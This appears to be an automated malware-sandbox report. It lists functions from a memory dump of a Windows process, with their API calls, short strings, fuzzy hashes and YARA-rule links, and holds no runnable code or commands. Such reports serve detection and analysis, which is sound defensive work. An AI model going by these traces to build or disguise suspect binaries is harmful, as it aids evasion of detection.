Opcode Fuzzy Hash: d27d776dec981bfd1690e75e99e7cab2f0cb3fb31206b649455ac3014bb6f914
Instruction Fuzzy Hash: 54511262F1878089F304CB79C8142AC7BA6AB9DB8CF084025DF4D9BB89EF79C504C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F7960, Relevance: 29.8, APIs: 1, Strings: 16, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F7A18

Strings

7, xrefs: 00007FF70D6F79DC
c, xrefs: 00007FF70D6F79BE
P, xrefs: 00007FF70D6F79CD
j, xrefs: 00007FF70D6F798E
i, xrefs: 00007FF70D6F79AF
j, xrefs: 00007FF70D6F7996
Y, xrefs: 00007FF70D6F79AA
Z, xrefs: 00007FF70D6F79D2
S, xrefs: 00007FF70D6F79C3
R, xrefs: 00007FF70D6F79A0
X, xrefs: 00007FF70D6F799B
], xrefs: 00007FF70D6F79C8
^, xrefs: 00007FF70D6F79B9
[, xrefs: 00007FF70D6F79D7
\, xrefs: 00007FF70D6F79A5
J, xrefs: 00007FF70D6F79B4

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: 7$J$P$R$S$X$Y$Z$[$\$]$^$c$i$j$j
API String ID: 190572456-2484924283
Opcode ID: 0c992f26a1c8fe4310dd1375beb734214be0fe64199badee001fe360389bc49e
Instruction ID: 39f92ec1ec31b3455aac36d7b04565b4179797fce6e9358fb44c3ab7cf4c0fd8
Opcode Fuzzy Hash: 0c992f26a1c8fe4310dd1375beb734214be0fe64199badee001fe360389bc49e
Instruction Fuzzy Hash: 7831E52260C7C089E3319725E41425BBF92EB9A74CF484229E6DD07A8ADF7DD208CF25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E7040, Relevance: 22.7, APIs: 7, Strings: 8, Instructions: 157memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

lstrlenA.KERNEL32 ref: 00007FF70D6E70BA
GetProcessHeap.KERNEL32 ref: 00007FF70D6E70C7
HeapAlloc.KERNEL32 ref: 00007FF70D6E70D5
lstrcpyA.KERNEL32 ref: 00007FF70D6E70EC
lstrcmpiA.KERNEL32 ref: 00007FF70D6E718F
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7283
HeapFree.KERNEL32 ref: 00007FF70D6E7291

Strings

], xrefs: 00007FF70D6E71F9
,, xrefs: 00007FF70D6E71FE
P, xrefs: 00007FF70D6E7145
;, xrefs: 00007FF70D6E71D6
], xrefs: 00007FF70D6E71F4
P, xrefs: 00007FF70D6E71A1
q, xrefs: 00007FF70D6E7203
;, xrefs: 00007FF70D6E71CE

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProclstrcmpilstrcpylstrlen
String ID: ,$;$;$P$P$]$]$q
API String ID: 817131848-2508854038
Opcode ID: ec1092a4a190e1c856032b1f87288de4d6dbbf9c5d998d2ab2947be05d2f40a0
Instruction ID: ae837191ea6e609307c22f3d5555b5a6a4ca1bd4da535589615c74881ef53264
Opcode Fuzzy Hash: ec1092a4a190e1c856032b1f87288de4d6dbbf9c5d998d2ab2947be05d2f40a0
Instruction Fuzzy Hash: D971742290CBC189E711D765B8043AFFBA1EB96788F540165EEC807B9AEF7DD148DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702650, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D702679
StrStrA.SHLWAPI ref: 00007FF70D7026BB
StrStrA.SHLWAPI ref: 00007FF70D7026DF
lstrlenA.KERNEL32 ref: 00007FF70D7026ED
StrStrA.SHLWAPI ref: 00007FF70D70270E
lstrlenA.KERNEL32 ref: 00007FF70D70271C
lstrcpynA.KERNEL32 ref: 00007FF70D70274E
StrToIntExA.SHLWAPI ref: 00007FF70D702765
lstrlenA.KERNEL32 ref: 00007FF70D702782
lstrcpyA.KERNEL32 ref: 00007FF70D702798

Strings

http, xrefs: 00007FF70D70266F

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$lstrcpylstrcpyn
String ID: http
API String ID: 3250660272-2541227442
Opcode ID: f1b2f41ef82294f240051bce975c66e6099e2c470b1a80d22343df993e08e479
Instruction ID: cb1ad05e8d6d4ca690cf6f5a4e9da0bbfb125ceeec0138ddcc11c2e847cb380a
Opcode Fuzzy Hash: f1b2f41ef82294f240051bce975c66e6099e2c470b1a80d22343df993e08e479
Instruction Fuzzy Hash: C6419566B0C74281EA21AF25EC58278E7A1AF4DB84FC87131D64E467D5FF3CE508C624

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F10E0, Relevance: 18.1, APIs: 10, Strings: 2, Instructions: 112memorystringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI ref: 00007FF70D6F10F6
StrPBrkA.SHLWAPI ref: 00007FF70D6F114C
StrSpnA.SHLWAPI ref: 00007FF70D6F119C
StrPBrkA.SHLWAPI ref: 00007FF70D6F11DC
lstrlenA.KERNEL32 ref: 00007FF70D6F11F1
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1201
HeapAlloc.KERNEL32 ref: 00007FF70D6F1210
lstrcpynA.KERNEL32 ref: 00007FF70D6F1228
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1250
HeapFree.KERNEL32 ref: 00007FF70D6F125E

Strings

#, xrefs: 00007FF70D6F1164
E, xrefs: 00007FF70D6F1117

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AllocFreelstrcpynlstrlen
String ID: #$E
API String ID: 3427162041-840201490
Opcode ID: cfb7a61fa14b7971f6cd18e4154d3af183d5de8ed336e3093085427ab4368f43
Instruction ID: 54d1e152a630d3b76c7df588be3165a13e45b61db59643ba3da9eb440ee4c4f6
Opcode Fuzzy Hash: cfb7a61fa14b7971f6cd18e4154d3af183d5de8ed336e3093085427ab4368f43
Instruction Fuzzy Hash: 4741C82690DBC581DB01D75AB91417AEBA2EF8ABC4F840174EECD07B59EF6CD105CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702B00, Relevance: 18.1, APIs: 12, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF70D702B3D
GetProcessHeap.KERNEL32 ref: 00007FF70D702B4C
HeapAlloc.KERNEL32 ref: 00007FF70D702B5A
MultiByteToWideChar.KERNEL32 ref: 00007FF70D702B7D
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702BA6
GetProcessHeap.KERNEL32 ref: 00007FF70D702BAF
HeapAlloc.KERNEL32 ref: 00007FF70D702BBD
GetProcessHeap.KERNEL32 ref: 00007FF70D702BCB
HeapFree.KERNEL32 ref: 00007FF70D702BD9
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702C04
GetProcessHeap.KERNEL32 ref: 00007FF70D702C0C
HeapFree.KERNEL32 ref: 00007FF70D702C1A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$ByteCharMultiProcessWide$AllocFree
String ID:
API String ID: 1621643742-0
Opcode ID: 2ba6fb4e9c0095114c3a05b0740c60b64e6d4d1dd03dc9b1faaa63056d23ea58
Instruction ID: db5b40ba446a2be4c9c2a3b584675c5a1b9a78ccc4efc1c61f5de1103b7cf189
Opcode Fuzzy Hash: 2ba6fb4e9c0095114c3a05b0740c60b64e6d4d1dd03dc9b1faaa63056d23ea58
Instruction Fuzzy Hash: 14314E79A08B4286E714EB67BD0412ABAA5FF8CBD8F445134DE8D53B24FF3CD1558604

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3800, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EEA40: GetProcAddress.KERNEL32 ref: 00007FF70D6EEB25

wsprintfA.USER32 ref: 00007FF70D6E39C5

Strings

W, xrefs: 00007FF70D6E3921
W, xrefs: 00007FF70D6E38FE
U, xrefs: 00007FF70D6E38EF
_, xrefs: 00007FF70D6E38F4
[, xrefs: 00007FF70D6E393A
S, xrefs: 00007FF70D6E3935
^, xrefs: 00007FF70D6E38F9
_, xrefs: 00007FF70D6E3926
S, xrefs: 00007FF70D6E3912
[, xrefs: 00007FF70D6E390D

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProcwsprintf
String ID: S$S$U$W$W$[$[$^$_$_
API String ID: 3553933441-1328133147
Opcode ID: 91addd1e272eb5444b0d56d8bf33bf54701a9b5862350ef3f266e9057dde1987
Instruction ID: 1a810b2dff54ddfefc3e2200799d2718582b892a99f9e31762c54a6c18bfc69c
Opcode Fuzzy Hash: 91addd1e272eb5444b0d56d8bf33bf54701a9b5862350ef3f266e9057dde1987
Instruction Fuzzy Hash: EF51AF2250C7C189D3219728A44435FBFA2E796358F980265F7E847BDADB6ED508CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E18B0, Relevance: 16.6, APIs: 11, Instructions: 85COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF70D6E18CE
FreeLibrary.KERNEL32 ref: 00007FF70D6E18E6
FreeLibrary.KERNEL32 ref: 00007FF70D6E18FE
FreeLibrary.KERNEL32 ref: 00007FF70D6E1916
FreeLibrary.KERNEL32 ref: 00007FF70D6E192E
FreeLibrary.KERNEL32 ref: 00007FF70D6E1946
FreeLibrary.KERNEL32 ref: 00007FF70D6E195E
FreeLibrary.KERNEL32 ref: 00007FF70D6E1976
FreeLibrary.KERNEL32 ref: 00007FF70D6E198E
FreeLibrary.KERNEL32 ref: 00007FF70D6E19A6
FreeLibrary.KERNEL32 ref: 00007FF70D6E19BD

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3052d53cab4c376b198aff8461bd3f145c8ef62e42592985d6049a90affb394a
Instruction ID: 97e4b760977a18a3092c02b420d42953be9674d701128341151445e26ea5af72
Opcode Fuzzy Hash: 3052d53cab4c376b198aff8461bd3f145c8ef62e42592985d6049a90affb394a
Instruction Fuzzy Hash: 43310726E0CB8241EA057F71EF54679D363AF1AFC9B982031E91D17A89FF2DA4058261

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6870, Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E6948
HeapFree.KERNEL32 ref: 00007FF70D6E6957
wsprintfA.USER32 ref: 00007FF70D6E68E3

Part of subcall function 00007FF70D6E8870: wsprintfA.USER32 ref: 00007FF70D6E88EF
Part of subcall function 00007FF70D6E8870: lstrlenA.KERNEL32 ref: 00007FF70D6E890B
Part of subcall function 00007FF70D6E8870: GetProcessHeap.KERNEL32 ref: 00007FF70D6E891A
Part of subcall function 00007FF70D6E8870: HeapAlloc.KERNEL32 ref: 00007FF70D6E8928

GetProcessHeap.KERNEL32 ref: 00007FF70D6E69EC
HeapFree.KERNEL32 ref: 00007FF70D6E69FB
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6A21
HeapFree.KERNEL32 ref: 00007FF70D6E6A2F

Strings

(, xrefs: 00007FF70D6E68A9
{, xrefs: 00007FF70D6E68AF

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$wsprintf$Alloclstrlen
String ID: (${
API String ID: 2506873331-4280321880
Opcode ID: c1b1f77fb65b763c53d581dd41c5106a436b8360129c772b042671bea81bac34
Instruction ID: 83a737f49950cb324855025bfd364aca16b31015e3ef23041ed2012c182f198f
Opcode Fuzzy Hash: c1b1f77fb65b763c53d581dd41c5106a436b8360129c772b042671bea81bac34
Instruction Fuzzy Hash: 39518022F18B2289E710DBA6EC401ADA7B5BF58BCCB844535EE4D67B58EF38D545C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FB970, Relevance: 12.6, APIs: 10, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FB97D
HeapFree.KERNEL32 ref: 00007FF70D6FB98C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB992
HeapFree.KERNEL32 ref: 00007FF70D6FB9A1
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB9A7
HeapFree.KERNEL32 ref: 00007FF70D6FB9B6
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB9DA
HeapFree.KERNEL32 ref: 00007FF70D6FB9E9
GetProcessHeap.KERNEL32 ref: 00007FF70D6FBA28
HeapFree.KERNEL32 ref: 00007FF70D6FBA36

Part of subcall function 00007FF70D703320: GetProcAddress.KERNEL32 ref: 00007FF70D703403
Part of subcall function 00007FF70D703320: InternetCloseHandle.WININET ref: 00007FF70D70340C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess$AddressCloseHandleInternetProc
String ID:
API String ID: 2097560810-0
Opcode ID: dc82cab052f858f168de8915bc93c0c718668a68a37ed38aa1394eec67739022
Instruction ID: ce5e1265a24b6927c222ec8bcdfcc081ce76b9fc90b929b09f6730d16f4240e1
Opcode Fuzzy Hash: dc82cab052f858f168de8915bc93c0c718668a68a37ed38aa1394eec67739022
Instruction Fuzzy Hash: 6021286AA0CB4281E744AF36ED453B8A265FF88F88FC56135D90D42399EF3C9449C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6EC0, Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D6E6EF9
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6F06
HeapAlloc.KERNEL32 ref: 00007FF70D6E6F14
lstrcpyA.KERNEL32 ref: 00007FF70D6E6F2A
lstrlenA.KERNEL32 ref: 00007FF70D6E6F5D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7003
HeapFree.KERNEL32 ref: 00007FF70D6E7011

Strings

', xrefs: 00007FF70D6E6F67

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Processlstrlen$AllocFreelstrcpy
String ID: '
API String ID: 559909528-1997036262
Opcode ID: b6f65196044f3897d72ea3faa3124224c62919a0078ad50889e17a7167afd2ad
Instruction ID: 64d7275e1a5275b7561511762ee471b2c2455c9b4a2d4d527852d8e1a67c3fee
Opcode Fuzzy Hash: b6f65196044f3897d72ea3faa3124224c62919a0078ad50889e17a7167afd2ad
Instruction Fuzzy Hash: 5D414D22A0CBC281E650DB56F84436AF7A6FF99BC4F944134EE8807B59EF7CD0458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6730, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 78memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E6791
lstrlenA.KERNEL32 ref: 00007FF70D6E679C
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6804
HeapFree.KERNEL32 ref: 00007FF70D6E6814
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6832
HeapFree.KERNEL32 ref: 00007FF70D6E6842

Strings

6, xrefs: 00007FF70D6E6758
@, xrefs: 00007FF70D6E6750

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess$lstrlenwsprintf
String ID: 6$@
API String ID: 3236020971-1486086150
Opcode ID: 4dbebd085dcdb486a492aa3334288e2b74cbf2f1f2c7f036945eb119adb369fa
Instruction ID: 295d341b95b910d1df982b195baaf6a81f4ae3edf9429bf26248e4c2a01fc13f
Opcode Fuzzy Hash: 4dbebd085dcdb486a492aa3334288e2b74cbf2f1f2c7f036945eb119adb369fa
Instruction Fuzzy Hash: 0F31822261CB8281D740DB66F8441AAFBA4FB8D784F841135F68D43B69EF7CC009CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6AA0, Relevance: 10.7, APIs: 7, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF70D6F6B0A
GetProcAddress.KERNEL32 ref: 00007FF70D6F6B8F
GetProcAddress.KERNEL32 ref: 00007FF70D6F6BFF
GetProcAddress.KERNEL32 ref: 00007FF70D6F6C6F
GetProcAddress.KERNEL32 ref: 00007FF70D6F6CDF
GetProcAddress.KERNEL32 ref: 00007FF70D6F6D5F
GetProcAddress.KERNEL32 ref: 00007FF70D6F6DCF

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$HandleModule
String ID:
API String ID: 667068680-0
Opcode ID: ea510356069edbdf8e5c9ae15a29a733c74b0ea21727580b9cb04a174cb82dfe
Instruction ID: 1870b7cb652fc2f251b617cf43c48f2bdcac5728b9d63344d07e776ed61daeef
Opcode Fuzzy Hash: ea510356069edbdf8e5c9ae15a29a733c74b0ea21727580b9cb04a174cb82dfe
Instruction Fuzzy Hash: 05C1371260C7C0CCF712CB78D8183ED3FA1D72674CF4841A9D6881AB9ADBAE8259C775

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D707688, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF70D70770D
GetLastError.KERNEL32 ref: 00007FF70D70771B
LoadLibraryExW.KERNEL32 ref: 00007FF70D707745
FreeLibrary.KERNEL32 ref: 00007FF70D70778B
GetProcAddress.KERNEL32 ref: 00007FF70D707797

Strings

api-ms-, xrefs: 00007FF70D70772D

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 3b64db676da0105a3fd1e9534eeefdc1044de66b74a200aa4c9ed104eb7e09e9
Instruction ID: 856de968132825dbe1d972197ae2dd9d2b8cf1d1428f589c1b028ad6e0f9e73e
Opcode Fuzzy Hash: 3b64db676da0105a3fd1e9534eeefdc1044de66b74a200aa4c9ed104eb7e09e9
Instruction Fuzzy Hash: 0131CD65B1EB02D1EE29AB16AC00574A694BF4CBA4FD93634DE5D8A790FF7CF0408320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702560, Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D702585
StrStrA.SHLWAPI ref: 00007FF70D7025C7
lstrlenA.KERNEL32 ref: 00007FF70D7025D8
StrStrA.SHLWAPI ref: 00007FF70D7025F4
lstrlenA.KERNEL32 ref: 00007FF70D702605
lstrcpynA.KERNEL32 ref: 00007FF70D702633

Strings

http, xrefs: 00007FF70D70257B

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$lstrcpyn
String ID: http
API String ID: 814387622-2541227442
Opcode ID: 3055a968694cddba149361583f5d5969203773de85542e76aed413e486e5cfb9
Instruction ID: 424727496d5675a53827e65e244dfc751b8a252089fda85e16210a932ebd1d6b
Opcode Fuzzy Hash: 3055a968694cddba149361583f5d5969203773de85542e76aed413e486e5cfb9
Instruction Fuzzy Hash: EA21AE56F0E74681EA15AF16EC18274EBA1AF4CBC8FC86471C90E43B95FF2CE5448724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E2710, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E27D6

Strings

(, xrefs: 00007FF70D6E2722
3, xrefs: 00007FF70D6E2740
4, xrefs: 00007FF70D6E2754
., xrefs: 00007FF70D6E2778
(, xrefs: 00007FF70D6E2729

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: ($($.$3$4
API String ID: 190572456-1705217972
Opcode ID: 7f1427c515d0dcacf56a826a68b6555d20266727cb6ecec1ca29fbd22b0533c2
Instruction ID: a278bad7b0c3e3c0d25739ed495e2d66917fdbc5eb42c0b790a5c80e9b574c9b
Opcode Fuzzy Hash: 7f1427c515d0dcacf56a826a68b6555d20266727cb6ecec1ca29fbd22b0533c2
Instruction Fuzzy Hash: DC311A12B0C7C49CF712C3B994083ED2FA1576635CF084698DFA52BBDAC7A94209D762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D710970, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF70D7109A1
GetLastError.KERNEL32 ref: 00007FF70D7109AD
CloseHandle.KERNEL32 ref: 00007FF70D7109C5
CreateFileW.KERNEL32 ref: 00007FF70D7109F0
WriteConsoleW.KERNEL32 ref: 00007FF70D710A0F

Strings

CONOUT$, xrefs: 00007FF70D7109D1

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: cba3a97fa79ae60c6a53b99859319d508d2361b88f17067af8b0f5c7cb97c383
Instruction ID: 7c26a66186c27edb737eaa56f65088a9e9a417c9d7cc5d951b096cb76e6eb05c
Opcode Fuzzy Hash: cba3a97fa79ae60c6a53b99859319d508d2361b88f17067af8b0f5c7cb97c383
Instruction Fuzzy Hash: C6119335B1CB4182E750AB16EC54329A6A0FF9CBE4F841334EA5D87794EF3CD9448754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E2D80, Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E2D96
HeapFree.KERNEL32 ref: 00007FF70D6E2DA4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E2DB3
HeapFree.KERNEL32 ref: 00007FF70D6E2DC1
GetProcessHeap.KERNEL32 ref: 00007FF70D6E2DD0
HeapFree.KERNEL32 ref: 00007FF70D6E2DDE
GetProcessHeap.KERNEL32 ref: 00007FF70D6E2DED
HeapFree.KERNEL32 ref: 00007FF70D6E2DFB

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 9b73eb7fd986f89ead355385918b392f8ed8749be4ec8d6d7f001202c5105688
Instruction ID: 248d8ef361454a6f179e36179b908f631d9bbc4101cd0c85246501ddb2e5b891
Opcode Fuzzy Hash: 9b73eb7fd986f89ead355385918b392f8ed8749be4ec8d6d7f001202c5105688
Instruction Fuzzy Hash: 75011B69E0DB4381EB08EBABFE04165D266AF4CFD9B995234CE0D03718BF2CD0458220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D705BA4, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 316COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF70D705D42
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF70D706065

Strings

csm, xrefs: 00007FF70D705C89
csm, xrefs: 00007FF70D705CEB
csm, xrefs: 00007FF70D705D69

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: be914c3b313ffed97420ec080101bf107b087ebe51eb0ec0226f1d406cfb5191
Instruction ID: eeaebf701f9d18bec01df2d15f9586b66bdae4379d78135b51a26335e12b6a0b
Opcode Fuzzy Hash: be914c3b313ffed97420ec080101bf107b087ebe51eb0ec0226f1d406cfb5191
Instruction Fuzzy Hash: 31E1927390C782CAE720AF24DC852ADBBA1EF49748F946135DA4D876D5EF38E481CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D705018, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70D705043
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF70D7050D8
RtlUnwindEx.NTDLL ref: 00007FF70D705127

Strings

csm, xrefs: 00007FF70D7050BE
f, xrefs: 00007FF70D705056

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: be55abbb9a4a649792f108247da100172517ce45342c64cedcef3fb595aabeca
Instruction ID: 048a061b44b42d5853b86451bff7a7fcb13857261f54c209e074e612a8db37e0
Opcode Fuzzy Hash: be55abbb9a4a649792f108247da100172517ce45342c64cedcef3fb595aabeca
Instruction Fuzzy Hash: 89519135A1E751C6E714EF15DD04A69BB91FF08BD8F919130DE5A87788EF38E8408B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D709100, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF70D70911C
GetProcAddress.KERNEL32 ref: 00007FF70D709132
FreeLibrary.KERNEL32 ref: 00007FF70D70914F

Strings

mscoree.dll, xrefs: 00007FF70D709113
CorExitProcess, xrefs: 00007FF70D70912B

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a27e6fbf53f57ae7ef808f337c81e004a6d865a512cc31ab99bb5e4557507bcd
Instruction ID: f856e0b6905307e2a3a23aba8f89d1c33227f535859d080ff63feafc8c03112f
Opcode Fuzzy Hash: a27e6fbf53f57ae7ef808f337c81e004a6d865a512cc31ab99bb5e4557507bcd
Instruction Fuzzy Hash: D8F03065B1D74281EF54AB64EC443749760AF8CB54FC43139E60F456A1EF7CD488C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70C3F0, Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70D70C431
GetConsoleMode.KERNEL32 ref: 00007FF70D70C4F0
GetLastError.KERNEL32 ref: 00007FF70D70C570

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: ac049bfcdd58648cca2fcb869a5a43e543a6b9c737f5c8c516d16b7dbc210292
Instruction ID: 240b00b3117ce0af19dc86dbc2ba167d3049b5feb2699c4e1b7849ef501661e0
Opcode Fuzzy Hash: ac049bfcdd58648cca2fcb869a5a43e543a6b9c737f5c8c516d16b7dbc210292
Instruction Fuzzy Hash: D7819126A1C742C9E722AF649C512B9AAA0FF4C794FD06235DA0E936D1FF3CA441C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D71105C, Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF70D711084
_set_statfp.LIBCMT ref: 00007FF70D71109F
_set_statfp.LIBCMT ref: 00007FF70D7110BB
_set_statfp.LIBCMT ref: 00007FF70D7110F7

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: dd116ec9a878c59b04aa3c9288a6d79705a31f5293c992de0820295e3444f56f
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
